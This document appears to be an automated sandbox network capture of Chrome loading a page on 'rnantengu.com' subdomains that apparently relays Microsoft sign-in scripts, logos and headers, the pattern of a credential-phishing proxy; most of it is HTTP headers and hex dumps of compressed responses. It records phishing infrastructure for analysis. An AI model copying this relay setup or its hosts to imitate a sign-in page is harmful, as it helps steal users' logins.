2025-01-15 09:07:21 UTC	485	IN	HTTP/1.1 404 Not Found Server: nginx Date: Wed, 15 Jan 2025 09:07:21 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding cache-control: no-store, no-cache x-ms-correlation-id: c022bd8b-ee59-458f-8441-463743105dd1 x-ua-compatible: IE=Edge x-cache: CONFIG_NOCACHE x-msedge-ref: Ref A: 6D623D827B7B4E08B60F1D653A2D8637 Ref B: BLUEDGE1105 Ref C: 2025-01-15T09:07:21Z access-control-allow-origin: * access-control-allow-headers: *
2025-01-15 09:07:21 UTC	1252	IN	Data Raw: 34 64 64 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 53 74 72 69 63 74 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 69 73 6f 2d 38 38 35 39 2d 31 22 2f 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 Data Ascii: 4dd<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"/><title>404
2025-01-15 09:07:21 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.4	49964	172.235.150.19	443	1072	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 09:07:21 UTC	838	OUT	GET /cf4691c709594b658426624fe3bf208f/ HTTP/1.1 Host: onlineauthenticationrelayservices.rnantengu.com Connection: Upgrade Pragma: no-cache Cache-Control: no-cache User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Upgrade: websocket Origin: https://onlineauthenticationrelayservices.rnantengu.com Sec-WebSocket-Version: 13 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: oGAs0a="Y2Y0NjkxYzctMDk1OS00YjY1LTg0MjYtNjI0ZmUzYmYyMDhmOmY3ODYxYTM4LTE2Y2YtNDEyYy1hMWYzLTJlMWRhY2E3MjMyZg=="; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; MicrosoftApplicationsTelemetryDeviceId=fd123344-e637-4d6c-b4da-320d728dd8cc; brcap=0 Sec-WebSocket-Key: Z+1ayiPfm9Dds1xsaDdtUg== Sec-WebSocket-Extensions: permessage-deflate; client_max_window_bits
2025-01-15 09:07:23 UTC	741	IN	HTTP/1.1 404 Not Found Server: nginx Date: Wed, 15 Jan 2025 09:07:23 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding cache-control: private p3p: CP="DSP CUR OTPi IND OTRi ONL FIN" x-ms-request-id: 822a9f6d-a95e-41f0-b162-fb0aed447b00 x-ms-ests-server: 2.1.19870.3 - WEULR1 ProdSlices report-to: {"group":"network-errors","max_age":86400,"endpoints":[{"url":"https://b5b24357-cf4691c7.rnantengu.com/api/report?catId=GW+estsfd+ams2"}]} nel: {"report_to":"network-errors","max_age":86400,"success_fraction":0.001,"failure_fraction":1.0} x-ms-srs: 1.P referrer-policy: strict-origin-when-cross-origin access-control-allow-origin: * access-control-allow-headers: *
2025-01-15 09:07:23 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.4	49976	172.235.150.19	443	1072	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 09:07:23 UTC	566	OUT	GET /shared/1.0/content/js/asyncchunk/convergedlogin_pcustomizationloader_510f960da65b56e0607c.js HTTP/1.1 Host: a6dd5e95-cf4691c7.rnantengu.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: oGAs0a="Y2Y0NjkxYzctMDk1OS00YjY1LTg0MjYtNjI0ZmUzYmYyMDhmOmY3ODYxYTM4LTE2Y2YtNDEyYy1hMWYzLTJlMWRhY2E3MjMyZg=="
2025-01-15 09:07:25 UTC	807	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 15 Jan 2025 09:07:25 GMT Content-Type: application/x-javascript Content-Length: 116400 Connection: close cache-control: public, max-age=31536000 last-modified: Thu, 05 Dec 2024 20:53:41 GMT etag: 0x8DD156EE6A82756 x-ms-request-id: 8bf5df29-401e-0046-62a9-60c87c000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob access-control-expose-headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding access-control-allow-origin: * x-azure-ref: 20250115T090724Z-155884f84d4fp6gshC1BL1eu740000000t5000000000gx8p x-fd-int-roxy-purgeid: 0 x-cache: TCP_HIT accept-ranges: bytes content-encoding: gzip
2025-01-15 09:07:25 UTC	13653	IN	Data Raw: 1f 8b 08 00 00 00 00 00 00 03 ec bd 6b 5b db 48 b6 28 fc 7d ff 0a 5b bb c7 2d b5 0b 63 19 63 88 8c f0 90 84 f4 30 93 04 0e 90 e9 e9 21 4c 1e 61 97 b1 12 23 79 74 e1 d2 d8 fb b7 bf 6b ad aa 92 4a b2 0c 26 dd fb 9c 0f ef f4 d3 c1 ba 94 ea 5e eb 7e d9 fc a9 fe 5f b5 9f 6a 1b eb ff 57 3b 3b 3f 38 3d af 1d bf ab 9d ff e5 e8 f4 6d ed 04 ee 7e ad 7d 3c 3e 3f 7a 73 b8 7e 3d d8 28 fe 3b 9f f8 71 6d ec 4f 79 0d 7e af bc 98 8f 6a 61 50 0b a3 9a 1f 0c c3 68 16 46 5e c2 e3 da 0d fc 8d 7c 6f 5a 1b 47 e1 4d 2d 99 f0 da 2c 0a bf f2 61 12 d7 a6 7e 9c c0 47 57 7c 1a de d5 4c a8 2e 1a d5 4e bc 28 79 a8 1d 9d 58 2d a8 9f 43 6d fe b5 1f c0 d7 c3 70 f6 00 d7 93 a4 16 84 89 3f e4 35 2f 18 51 6d 53 b8 09 62 5e 4b 83 11 8f 6a 77 13 7f 38 a9 7d f0 87 51 18 87 e3 a4 16 f1 21 f7 6f Data Ascii: k[H(}[-cc0!La#ytkJ&^~_jW;;?8=m~}<>?zs~=(;qmOy~jaPhF^\|oZGM-,a~GW\|L.N(yX-Cmp?5/QmSb^Kjw8}Q!o
2025-01-15 09:07:25 UTC	16384	IN	Data Raw: 69 43 00 e8 18 b6 ef 76 51 c8 d2 f3 f8 e6 f8 e3 d9 f9 e9 a7 37 e7 c7 a7 ce 35 3b 3d fc eb e1 9b f3 a3 e3 8f 5f 0e ff 7e f8 f1 dc b9 65 67 9f 5e bf 79 7f 70 76 76 f4 f1 67 e7 e1 25 81 f8 4a 89 66 55 74 d7 9d 1d 52 be 0a 35 c6 33 39 dd 72 21 32 f0 40 d7 71 26 41 2e 46 bf 35 e8 25 ca 6d 52 09 0e c5 03 d4 17 62 da d7 04 a5 71 01 1a 67 af 8d 58 f2 4c 3e bb 85 10 c0 98 95 49 28 13 0c 0a 1a 97 45 f8 af 34 69 c6 22 2f 9f b1 2c 2a 60 a6 ae 46 8b 12 91 7c 83 82 02 3e 9f 22 47 31 87 a8 84 c6 fd 84 f2 4e 65 54 8e 04 68 a2 c5 96 91 fe fe 43 54 15 a2 d4 97 72 a7 89 d5 21 c1 b0 86 72 30 2a 22 7d 5a 88 a2 27 ca fe 37 b6 25 23 06 d5 50 3e 1f 10 4f 9b a0 0a ad 16 f1 21 87 a3 13 19 cf 2e 40 26 e7 f9 ff 4b d8 b8 ff 6b 81 62 8a 3b 44 97 53 ae 70 27 cb a3 4c 7c 6f 68 90 ef 08 Data Ascii: iCvQ75;=_~eg^ypvvg%JfUtR539r!2@q&A.F5%mRbqgXL>I(E4i"/,`F\|>"G1NeThCTr!r0"}Z'7%#P>O!.@&Kkb;DSp'L\|oh
2025-01-15 09:07:25 UTC	16384	IN	Data Raw: 12 1f 7b f6 64 1d 3d 31 f2 ec 37 24 4a 8a 0f 14 08 bd de fe 4e 9a 41 3d a1 39 c2 44 63 e2 69 8b 49 4f 88 75 d5 0a 63 77 18 96 28 28 e6 f0 e3 31 80 68 2c 58 6f db 70 61 3c 4c ce 80 4b ce e1 a2 23 b3 4c b0 e4 74 8e 6d 63 d1 88 d2 ab c2 21 07 38 b0 ed 5d 52 52 d0 b3 a8 0b 27 93 8f ac 1c d6 2e 8e 91 0f 25 c6 2e a2 2b 3c 08 94 6f 21 c1 39 d7 70 36 c0 19 3d 3c f0 2f 3d 3c b4 78 39 86 36 d7 8a a0 c7 5f 82 47 30 fe c8 1a 6d 13 ec a4 b5 12 ea 47 e7 02 a9 92 13 5e 38 1a f0 66 89 21 3b 06 5f b6 c1 9b b3 45 91 fa d1 41 cb 4a 17 d6 88 48 19 65 bc 89 c5 30 94 0e 1c 39 c5 fd cf 66 61 5f 9a fd 0c 62 17 a8 61 6b 1b b5 a8 a9 bc d8 32 d5 a8 f1 13 d5 a8 79 ed 7e 9b d7 2f a2 ce 83 57 9e 4a cc fb 19 cf cc 13 a3 a4 95 a3 26 81 5b 1a 73 99 07 30 97 dc 7a 4c 82 5b 85 bd cd bf 8c Data Ascii: {d=17$JNA=9DciIOucw((1h,Xopa<LK#Ltmc!8]RR'.%.+<o!9p6=</=<x96_G0mG^8f!;_EAJHe09fa_bak2y~/WJ&[s0zL[
2025-01-15 09:07:25 UTC	16384	IN	Data Raw: 07 03 da 0b 54 a0 56 a6 e0 18 af 3a 72 3a 16 f2 18 0d 30 a6 96 5c f1 8d ba 64 4d fd 91 e5 c1 2f 65 84 6d a1 dd a3 59 22 a5 de c3 f3 b0 a4 95 d9 e4 87 e7 be 54 c9 ef 6f 8b aa b8 7b b8 67 26 01 2a a5 50 1f 03 92 f2 f0 78 02 27 3d 10 e2 a4 69 8c 16 8e d3 a4 f9 22 2c c2 1f e3 e8 06 8e d4 a4 a9 80 07 07 aa 3a 03 ae 83 b1 01 b3 cb 60 6a 5c 5d 01 3c ae 05 1a b0 0b e0 b8 ae 99 93 45 79 fc 0b ea 26 24 4c d9 0d 7f 70 15 de 3e 9f 03 38 70 28 a9 7b 89 0e d3 af 92 02 0e 9f 73 ba cc c5 a5 b1 88 2e 1c 22 03 d4 a7 d5 29 60 19 66 88 2c 10 56 91 25 b5 a4 3e 9e 14 30 85 d5 0b 38 82 2e 84 df 64 69 af e1 d0 5e c3 38 47 7d 3e 96 6c 18 f2 78 89 11 79 1b 60 51 f1 fb 22 0b 93 1c 1a f9 bd a2 8f 49 05 d1 63 17 63 b3 1e 1e ae cd c2 9f 68 00 3f a4 27 ab fc 51 12 90 06 9a c5 46 5a c1 Data Ascii: TV:r:0\dM/emY"To{g&*Px'=i",:`j\]<Ey&$Lp>8p({s.")`f,V%>08.di^8G}>lxy`Q"Icch?'QFZ
2025-01-15 09:07:25 UTC	16384	IN	Data Raw: e0 5d 70 56 8d 62 97 bc ac f9 42 dc 84 09 25 72 a7 2a 9b 23 d4 96 bb 78 c5 5a 78 4e 0e 4b c0 5a dd 54 41 9d eb 13 8f 76 29 e6 b0 88 3f bb b2 4a 4d d6 85 65 ea bf 20 b0 b6 8b 0a 24 01 30 2f 9f a5 b6 bb af e8 d1 c2 12 c7 50 6d 16 e8 4f 55 6a 19 aa ca 50 2f cc bf 9d be 79 6d 28 50 30 56 cf a6 d3 a6 d8 7b f3 d8 cd 30 0c 79 ee c1 a9 33 bf 28 f1 6c fc 50 b8 83 72 80 7a b5 93 88 12 70 21 e3 a6 88 18 c4 b0 e4 c9 16 56 6e fa 32 7e 32 35 3f 59 d8 95 e9 40 fe c6 cd 5a 82 05 f3 12 a8 42 66 b1 5a 46 99 50 68 95 e2 41 41 35 db 89 3f b5 09 f0 12 75 ff e8 59 26 1c e3 5f f9 46 ca dd be c9 03 6a 7b 9b 72 ea 08 f6 45 c7 05 41 b8 08 71 85 e9 7c 21 a2 dc 20 96 2f df 98 76 dd d8 61 f3 fb 22 fe 81 4a 73 6b 72 56 c0 4f 65 54 e6 66 bf 05 67 75 e3 de 98 b6 d7 37 0f 66 b4 6a 8c 15 Data Ascii: ]pVbB%r*#xZxNKZTAv)?JMe $0/PmOUjP/ym(P0V{0y3(lPrzp!Vn2~25?Y@ZBfZFPhAA5?uY&_Fj{rEAq\|! /va"JskrVOeTfgu7fj
2025-01-15 09:07:25 UTC	2731	IN	Data Raw: 0c 7f 81 4e e8 db 83 d6 7e 9f 05 63 6b 0a bf 4b f6 c0 61 b9 f5 1b 7c f2 9d 0e 98 12 86 94 9a c1 37 3a 9f 34 68 3f 04 30 85 21 c4 27 0f 00 43 98 6a 16 9a 03 3a 8f 2f 84 3a 52 72 f4 87 b3 07 9e 39 d3 59 da 7c 11 9f 95 71 c0 ca 07 38 21 91 f1 01 d1 6f 0b 3e c4 a3 5c b5 d2 58 30 56 ba a8 1b 63 8a f1 9d 01 f5 4f 29 d2 07 2c 57 da c2 a9 15 85 e9 12 c7 0e a0 3a ae d6 e5 57 57 d6 7a 25 56 07 26 74 18 6e d8 db 25 11 05 4a 23 e8 65 1d b4 26 f8 fe 27 1d 28 3a 84 de 98 1c fb 02 7b 92 a6 69 23 da b9 8e cc 17 65 6d 40 6e 87 68 e7 5a 49 d0 ce 40 48 a2 a3 8c dd 87 91 68 48 46 53 bc 70 c5 fe 6f 0d b5 c6 a9 5b b9 f4 18 65 a9 0a 08 31 dd d3 6d 5e 4e 0e 0d ae 6a ab 60 00 42 75 e8 b1 88 2a 0f b5 6c 0c 90 c1 5f 48 a2 ca 63 38 21 75 59 22 a0 53 b6 66 14 90 d5 71 24 c9 1f 48 72 Data Ascii: N~ckKa\|7:4h?0!'Cj:/:Rr9Y\|q8!o>\X0VcO),W:WWz%V&tn%J#e&'(:{i#em@nhZI@HhHFSpo[e1m^Nj`Bu*l_Hc8!uY"Sfq$Hr
2025-01-15 09:07:25 UTC	16384	IN	Data Raw: 9f 69 ac 94 47 f2 cf 18 ec 07 6c 58 19 31 dd 6f 85 bc fe 6c 6c 56 4d c9 44 e9 10 f3 51 3c 14 d8 b8 55 bb 65 56 e9 6d 30 0d c2 56 26 32 12 bb 99 48 b6 a3 1b 7c fc 74 93 61 bd 2c 70 93 0c 02 23 70 8e 72 8d f4 11 55 d9 65 79 a5 25 5f 8c ae 13 a1 ef 51 63 45 e8 4b 47 7a 4a e8 4b 22 de b4 d0 17 5d 23 07 e6 58 d7 c8 58 47 43 c1 ef 44 b5 95 bd e3 27 01 1b 99 6f ad 70 0c 67 dc fd 26 60 34 80 29 a2 06 57 cc 91 85 c2 8a 4d a0 17 7d 81 2b 06 c0 f5 8c d1 f8 08 28 26 36 40 b3 a3 48 4f 1b c6 0e 5a 36 3c e0 36 7a 63 9c 59 df 1c a7 cd 71 1d 20 c1 a9 dc 34 ef 16 0b 4f f7 d3 e6 b8 01 3d 96 e6 b8 be e9 77 e7 dc 1c d7 57 2c c3 98 78 db 37 53 f6 62 b1 da 6a cc a6 ec 86 63 2e ca 79 a6 a7 2a 76 ee 5a be a1 8f f4 9b c2 14 39 38 4a 00 33 3d be 69 4f f3 79 36 01 e4 36 45 69 ee 18 Data Ascii: iGlX1ollVMDQ<UeVm0V&2H\|ta,p#prUey%_QcEKGzJK"]#XXGCD'opg&`4)WM}+(&6@HOZ6<6zcYq 4O=wW,x7Sbjc.y*vZ98J3=iOy66Ei
2025-01-15 09:07:25 UTC	16384	IN	Data Raw: 26 66 19 27 e7 e7 81 e9 a4 66 13 8d 29 1f 99 4d 38 78 b3 78 73 64 c9 89 06 38 9b 58 53 f9 0a b0 e6 09 1c cc 30 48 30 9f d2 56 99 95 5a 87 4b 06 c3 3a 44 96 5c 18 f1 8e cc 3b cc ac f8 ee f4 e3 c5 af e7 d7 a7 1f 3e 9c fe 71 fd f2 d3 eb d7 e7 1f ae 7f bd 38 ff ed 0a 7d df b2 bf 3c 51 be c4 b3 84 94 d1 0b 18 2f b4 8a 86 df 29 d1 77 d0 70 b8 92 7c b1 3d 47 3b f7 55 80 1e 28 22 0f 8c aa b3 39 5e 2d c7 e9 15 31 87 5a ca d6 48 88 43 a4 d1 07 e5 5d 14 f0 85 36 b1 3e ae 22 19 8a 3a 79 fb c4 55 b4 11 43 5d fb cd f7 dc d1 1e af ad 71 a3 a5 76 ff d8 01 38 24 48 cb f7 7b a6 df ed 03 10 a2 84 16 a8 82 cd cc 21 53 68 a1 19 27 a5 90 36 e8 4d f2 e6 df 06 45 90 78 69 4d 0e 28 37 16 ee a2 28 41 05 b8 9b bc d8 7f 0d 93 99 4a 33 6f 24 27 61 dc ae 6e 19 6d eb 04 46 d9 c7 94 a3 Data Ascii: &f'f)M8xxsd8XS0H0VZK:D\;>q8}<Q/)wp\|=G;U("9^-1ZHC]6>":yUC]qv8$H{!Sh'6MExiM(7(AJ3o$'anmF
2025-01-15 09:07:25 UTC	1712	IN	Data Raw: 9f f5 49 1c 55 3c 5d 4f d6 71 2b 77 1d c8 02 6d e2 96 e9 a7 0a c0 7b b0 61 24 8b e1 38 b4 14 4a 93 61 45 77 1c cf de 2f 2d fb 7e 69 d9 f7 ab 97 7d 7f 69 d9 57 8f fb 15 8b da de 3a d4 a4 54 ea 7f d6 68 b8 6f 0d 4d e7 9f 10 3b 7c af 74 f4 84 5c 15 e5 3d de 4f ae 12 c3 78 3f bb 4a d8 e2 bd 77 a5 cc da fb b4 78 c8 27 c9 7f a5 ed cb 9f a2 4d b6 ac ff 2c 15 d1 7b f7 9a 38 44 bf dd c4 e1 37 18 37 50 5f 2a ec 1b 64 6f 0a 66 0e 94 f9 f7 5b 3a 14 47 ba f8 4b eb ee 2f ad bb a2 d6 5d d9 30 e8 4f 30 7d c9 fe 13 66 0a 7f 19 d6 fc 17 19 d6 74 36 b6 37 d9 b2 86 dc 71 4c a5 a3 8d 89 b4 a7 99 ad 30 96 59 69 06 fc 68 13 59 60 5c b3 a2 49 8c f0 80 e0 5b 3b ad a7 ad 8d 8e 74 c6 4b 9e 13 32 96 1a 02 f3 78 c1 ee 28 c5 20 90 15 8f aa 0d 51 54 de 7b 74 b7 91 87 8e 7c f4 25 a0 f4 Data Ascii: IU<]Oq+wm{a$8JaEw/-~i}iW:ThoM;\|t\=Ox?Jwx'M,{8D77P_*dof[:GK/]0O0}ft67qL0YihY`\I[;tK2x( QT{t\|%

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.4	49977	172.235.150.19	443	1072	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 09:07:23 UTC	817	OUT	GET /shared/1.0/content/images/signin-options_3e3f6b73c3f310c31d2c4d131a8ab8c6.svg HTTP/1.1 Host: a6dd5e95-cf4691c7.rnantengu.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://onlineauthenticationrelayservices.rnantengu.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: oGAs0a="Y2Y0NjkxYzctMDk1OS00YjY1LTg0MjYtNjI0ZmUzYmYyMDhmOmY3ODYxYTM4LTE2Y2YtNDEyYy1hMWYzLTJlMWRhY2E3MjMyZg=="
2025-01-15 09:07:25 UTC	806	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 15 Jan 2025 09:07:24 GMT Content-Type: image/svg+xml Transfer-Encoding: chunked Connection: close cache-control: public, max-age=31536000 last-modified: Wed, 24 May 2023 10:11:49 GMT etag: 0x8DB5C3F49ED96E0 x-ms-request-id: ba071c23-201e-0029-6ea9-608a9d000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob access-control-expose-headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding access-control-allow-origin: * x-azure-ref: 20250115T090724Z-1698bcdb8c7zkk7zhC1BL177p80000000ta000000000gwt9 x-fd-int-roxy-purgeid: 4554691 x-cache: TCP_HIT accept-ranges: bytes content-encoding: gzip
2025-01-15 09:07:25 UTC	628	IN	Data Raw: 32 36 64 0d 0a 1f 8b 08 00 00 00 00 00 00 ff 7d 55 4d 6f 22 31 0c fd 2b a3 d9 ab 93 c9 f7 47 3b 20 cd 9e 38 6c af 1c b8 4d 0b 05 24 0a 55 19 41 57 ab fe f7 b5 93 a0 55 61 58 0d d8 60 27 ef 3d db 09 b4 c7 d3 ba fa 7c db ed 8f 93 7a 33 0c ef 0f 4d 73 3e 9f f9 59 f3 c3 c7 ba 51 42 88 06 57 d4 d5 79 bb 1c 36 93 da 84 ba da ac b6 eb cd 90 3f 9f b6 ab f3 cf c3 e7 a4 16 95 a8 4c c0 57 3d 6d 97 ab d7 e3 b4 3d 0e bf 77 ab 29 ef ff bc 6e 77 bb 87 fd 61 bf 7a fc e2 cf f9 db 0f 23 e8 79 fc 6a 9b bc ac 6d f2 a6 8f d5 cb 50 bd ec fa 23 ca e9 ef b1 36 d3 f6 bd 1f 36 97 75 cf 75 b5 9c d4 4f 46 80 56 dc fa 30 37 62 a6 d5 5c bb 99 0a 73 ad 66 ca cc 55 e0 de b9 4e 0a ee 42 84 e2 04 3e 12 64 04 2d 7a 0c a5 78 89 32 cb ad f1 4c 72 0b 52 72 29 dc c5 e5 ac e2 4a 46 cc 7a 19 3b Data Ascii: 26d}UMo"1+G; 8lM$UAWUaX`'=\|z3Ms>YQBWy6?LW=m=w)nwaz#yjmP#66uuOFV07b\sfUNB>d-zx2LrRr)JFz;
2025-01-15 09:07:25 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.2.4	49978	172.235.150.19	443	1072	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 09:07:23 UTC	816	OUT	GET /shared/1.0/content/images/backgrounds/2_11d9e3bcdfede9ce5ce5ace2d129f1c4.svg HTTP/1.1 Host: a6dd5e95-cf4691c7.rnantengu.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://onlineauthenticationrelayservices.rnantengu.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: oGAs0a="Y2Y0NjkxYzctMDk1OS00YjY1LTg0MjYtNjI0ZmUzYmYyMDhmOmY3ODYxYTM4LTE2Y2YtNDEyYy1hMWYzLTJlMWRhY2E3MjMyZg=="
2025-01-15 09:07:25 UTC	800	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 15 Jan 2025 09:07:24 GMT Content-Type: image/svg+xml Transfer-Encoding: chunked Connection: close cache-control: public, max-age=31536000 last-modified: Wed, 24 May 2023 10:11:46 GMT etag: 0x8DB5C3F47E260FD x-ms-request-id: b8afafee-501e-005a-4fa9-609a1c000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob access-control-expose-headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding access-control-allow-origin: * x-azure-ref: 20250115T090724Z-155884f84d45wptthC1BL18x980000000t5g00000000s2t0 x-fd-int-roxy-purgeid: 0 x-cache: TCP_HIT accept-ranges: bytes content-encoding: gzip
2025-01-15 09:07:25 UTC	680	IN	Data Raw: 32 61 31 0d 0a 1f 8b 08 00 00 00 00 00 00 ff b5 55 db 6e db 30 0c fd 15 c1 7d 69 1e ac 50 b2 ae 43 1c a0 37 6c 2f c3 0a 64 fd 80 d4 b1 13 03 ae 1d d8 6e d3 f6 eb 47 ca f6 96 0c 79 6c 10 20 e6 91 45 f2 f0 98 94 16 dd db 96 bd bf 54 75 97 46 bb be df 7f 9b cf 0f 87 03 3f 24 bc 69 b7 73 09 00 73 dc 11 b1 43 b9 e9 77 69 24 bc 84 88 ed f2 72 bb eb 11 81 43 54 94 55 95 46 75 53 e7 d1 72 b1 65 cd 7e 9d 95 fd 47 1a 71 19 b1 ac 2a f7 f1 7e 4d ae af 6d 75 7d f5 30 c3 3d 84 d9 26 8d 7e 0a 65 0c 57 4c 58 af b9 cc bc 06 9e 58 06 88 25 70 17 1b 69 b9 96 13 12 0a 04 37 2b a9 84 e1 d6 c6 02 c0 b1 c1 3f d8 b1 d4 0a cd c4 01 57 4e 0e 88 25 3e e1 a6 b3 16 d7 24 ed a6 08 63 bc 11 7d 4e f4 03 bb 9b 59 34 3f a2 97 78 c5 31 bf 13 9a 9b cc 2a c3 b5 23 76 89 16 c8 47 61 6c 39 01 Data Ascii: 2a1Un0}iPC7l/dnGyl ETuF?$issCwi$rCTUFuSre~Gq~Mmu}0=&~eWLXX%pi7+?WN%>$c}NY4?x1#vGal9
2025-01-15 09:07:25 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.2.4	49979	172.235.150.19	443	1072	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 09:07:23 UTC	817	OUT	GET /shared/1.0/content/images/microsoft_logo_564db913a7fa0ca42727161c6d031bef.svg HTTP/1.1 Host: a6dd5e95-cf4691c7.rnantengu.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://onlineauthenticationrelayservices.rnantengu.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: oGAs0a="Y2Y0NjkxYzctMDk1OS00YjY1LTg0MjYtNjI0ZmUzYmYyMDhmOmY3ODYxYTM4LTE2Y2YtNDEyYy1hMWYzLTJlMWRhY2E3MjMyZg=="
2025-01-15 09:07:25 UTC	800	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 15 Jan 2025 09:07:24 GMT Content-Type: image/svg+xml Transfer-Encoding: chunked Connection: close cache-control: public, max-age=31536000 last-modified: Wed, 24 May 2023 10:11:48 GMT etag: 0x8DB5C3F4911527F x-ms-request-id: 2e56ae85-101e-0022-15e5-6571f6000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob access-control-expose-headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding access-control-allow-origin: * x-azure-ref: 20250115T090724Z-1698bcdb8c7cx4w2hC1BL1s2hw00000003g0000000000yb8 x-fd-int-roxy-purgeid: 0 x-cache: TCP_HIT accept-ranges: bytes content-encoding: gzip
